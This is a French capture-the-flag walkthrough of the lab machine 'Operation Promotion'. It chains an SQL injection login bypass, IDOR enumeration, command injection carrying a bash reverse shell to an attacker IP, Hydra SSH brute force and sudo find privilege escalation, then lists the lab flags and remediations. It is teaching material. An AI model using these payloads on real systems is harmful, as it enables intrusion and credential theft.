Post

Write-up - Operation Promotion

Write-up - Operation Promotion

Write-up - Operation Promotion

La cible est la machine CTF Operation Promotion (10.128.142.224). Le chemin d’exploitation part d’un portail web RecruitCorp, exploite un accès administrateur faible, abuse d’une fonctionnalité de maintenance pour obtenir un shell, puis utilise un droit sudo mal configuré pour obtenir root.

Synthèse

La compromission suit la chaîne suivante :

  1. énumération réseau : SSH, HTTP et SMB exposés
  2. essai d’authentification SMB invité sans accès exploitable aux partages
  3. découverte du portail web et du panneau /admin
  4. contournement de l’authentification admin par injection SQL
  5. énumération IDOR des profils utilisateurs et découverte du compte de service sysmaint
  6. injection de commande dans /admin/sysmaint-checks/ping.php
  7. reverse shell en tant que www-data
  8. fuite du hash de mot de passe de jford dans db.conf
  9. génération d’une wordlist à partir de l’indice public Spring 2026 Hiring Drive
  10. brute-force SSH et accès utilisateur jford
  11. élévation de privilèges via sudo /usr/bin/find

Reconnaissance

Le scan TCP complet montre quatre ports ouverts : SSH, HTTP et SMB.

1
2
TARGET=10.128.142.224
nmap -p- -Pn -oA "$TARGET"_full_ports --min-rate 1000 "$TARGET" -v

Scan TCP complet

Une première vérification SMB indique une authentification invitée possible, mais l’énumération des partages échoue avec STATUS_ACCESS_DENIED.

1
nxc smb "$TARGET" -u 'guest' -p '' --shares

Authentification SMB guest sans accès aux partages

Le nom de domaine observé est RECRUITCORP.

1
2
export DC_IP=10.128.142.224
export DOMAIN=RECRUITCORP

Variables d'environnement RECRUITCORP

L’énumération HTTP révèle notamment /admin, /config, index.php et robots.txt.

1
ffuf -c -w /usr/share/dirb/wordlists/common.txt -u "http://$TARGET/FUZZ"

Énumération ffuf

Accès au panneau administrateur

Le portail /admin expose un formulaire de connexion RecruitCorp Admin. Le champ username accepte une injection SQL classique.

1
admin' OR '1'='1'

Injection SQL sur la connexion admin

Après connexion, le cookie de session PHPSESSID est récupéré depuis le navigateur pour rejouer les requêtes authentifiées.

Cookie de session administrateur

IDOR sur la recherche utilisateur

L’endpoint /admin/users/lookup.php accepte un paramètre id. Une énumération de 0 à 250 avec le cookie administrateur permet d’identifier plusieurs profils valides.

1
2
3
4
for i in {0..250}; do echo "$i"; done | ffuf -c -w - \
  -u "http://$TARGET/admin/users/lookup.php?id=FUZZ" \
  -H "Cookie: PHPSESSID=<admin-session>" \
  -mc 200 -fs 644

Énumération IDOR des utilisateurs

L’identifiant 7 expose le compte de service sysmaint. Sa fiche indique explicitement son rôle et l’endpoint de maintenance associé.

1
2
3
Username: sysmaint
Role: system
Notes: Service account for /admin/sysmaint-checks/ping.php. Do not disable.

Compte de service sysmaint

L’endpoint /admin/sysmaint-checks/ping.php confirme son format d’utilisation :

1
/admin/sysmaint-checks/ping.php?host=<target>

Usage du endpoint ping.php

Injection de commande et shell www-data

Une requête normale vers ping.php exécute une sonde ICMP sur la cible fournie dans host.

1
GET /admin/sysmaint-checks/ping.php?host=127.0.0.1 HTTP/1.1

Probe ICMP normal via ping.php

Le paramètre host est ensuite injectable avec un chaînage de commandes. Le payload utilisé lance un reverse shell vers la machine attaquante.

1
127.0.0.1 && bash -c "bash -i >& /dev/tcp/192.168.153.192/1337 0>&1"

Payload reverse shell dans host

Le listener reçoit un shell en tant que www-data dans le répertoire de l’application web.

1
rlwrap nc -lvnp 1337

Reverse shell www-data

Dans /var/www/html/config, le fichier db.conf expose l’utilisateur applicatif jford et un hash bcrypt.

1
cat db.conf
1
2
3
db_user=jford
db_pass_hash=$2b$10$QzkXmGndA2cQLozO3xAN6eWKrl6ZXyzhYTJNF67exOmTmN5oVSEfq
db_engine=sqlite3

Hash de jford dans db.conf

Tentative de bruteforce du hash

Avant de construire une wordlist contextualisée, j’ai d’abord tenté de bruteforcer directement le hash bcrypt récupéré dans db.conf. Cette tentative n’a pas donné de résultat exploitable : aucun mot de passe valide n’a été retrouvé avec les candidats testés. Le hash seul n’étant pas suffisant, j’ai ensuite cherché un indice applicatif permettant de générer des mots de passe plus adaptés au contexte de RecruitCorp.

Génération de mot de passe candidat

La page publique de RecruitCorp contient un indice contextuel fort : Spring 2026 Hiring Drive. Cet indice donne une base de mot de passe plausible : spring2026.

Indice Spring 2026 Hiring Drive

Une wordlist est générée à partir de cette base avec la règle dive.rule de Hashcat.

1
2
echo "spring2026" > word.txt
hashcat --stdout word.txt -r /usr/share/hashcat/rules/dive.rule > wordlist.txt

Génération de wordlist avec hashcat

Hydra trouve ensuite un mot de passe SSH valide pour jford.

1
hydra -l jford -P wordlist.txt "$TARGET" ssh
1
2
login: jford
password: spring2026!

Mot de passe SSH jford trouvé avec Hydra

Accès SSH jford

La connexion SSH avec jford confirme l’accès utilisateur.

1
2
ssh jford@$TARGET
id

Connexion SSH jford

Le flag utilisateur est présent dans le répertoire personnel.

1
2
ls
cat user.txt

Flag utilisateur jford

Flag obtenu :

1
THM{bdbee0a91ebcb0b0fafde931223efe09}

Élévation de privilèges

L’utilisateur jford peut exécuter /usr/bin/find avec sudo sans mot de passe.

1
sudo -l

Droit sudo sur find

GTFOBins indique que find peut lancer un shell lorsque le binaire est autorisé via sudo.

1
find . -exec /bin/sh \; -quit

Technique GTFOBins pour find

L’exécution via sudo ouvre un shell root, ce qui permet de lire le flag final.

1
2
3
4
5
sudo /usr/bin/find . -exec /bin/sh \; -quit
id
cd /root
ls
cat flag.txt

Shell root et flag final

Flag obtenu :

1
THM{d999a1f6319a9c5b48c067dfab314ba2}

Tableau récapitulatif des flags

ÉtapeVulnérabilité principaleFlag
UtilisateurSQLi, IDOR, injection de commande, fuite de hash et mot de passe faibleTHM{bdbee0a91ebcb0b0fafde931223efe09}
Rootsudo NOPASSWD sur /usr/bin/findTHM{d999a1f6319a9c5b48c067dfab314ba2}

Causes racines et remédiations

  • Paramétrer les requêtes SQL du formulaire d’administration.
  • Protéger /admin avec une authentification robuste, une gestion de session stricte et une limitation des tentatives.
  • Ajouter un contrôle d’autorisation serveur sur /admin/users/lookup.php et empêcher l’accès horizontal aux fiches utilisateurs.
  • Ne pas exposer les comptes de service et endpoints sensibles dans des notes accessibles depuis l’interface.
  • Éviter toute construction de commande shell avec une entrée utilisateur ; préférer des appels sans shell et une validation stricte des adresses IP.
  • Retirer les fichiers de configuration sensibles du répertoire web et stocker les secrets dans un gestionnaire dédié.
  • Utiliser des mots de passe longs, non liés au contenu public de l’entreprise, et désactiver l’authentification SSH par mot de passe quand possible.
  • Supprimer le droit NOPASSWD sur /usr/bin/find ou le remplacer par une commande dédiée sans possibilité d’exécution arbitraire.

Conclusion

Operation Promotion montre une compromission progressive où chaque faiblesse expose l’étape suivante. L’accès admin obtenu par SQLi permet d’identifier un endpoint de maintenance, l’injection de commande fournit un shell web, puis les secrets applicatifs et un mot de passe devinable permettent d’obtenir un accès SSH. La mauvaise configuration sudo sur find termine la chaîne en donnant un shell root.

This post is licensed under CC BY 4.0 by the author.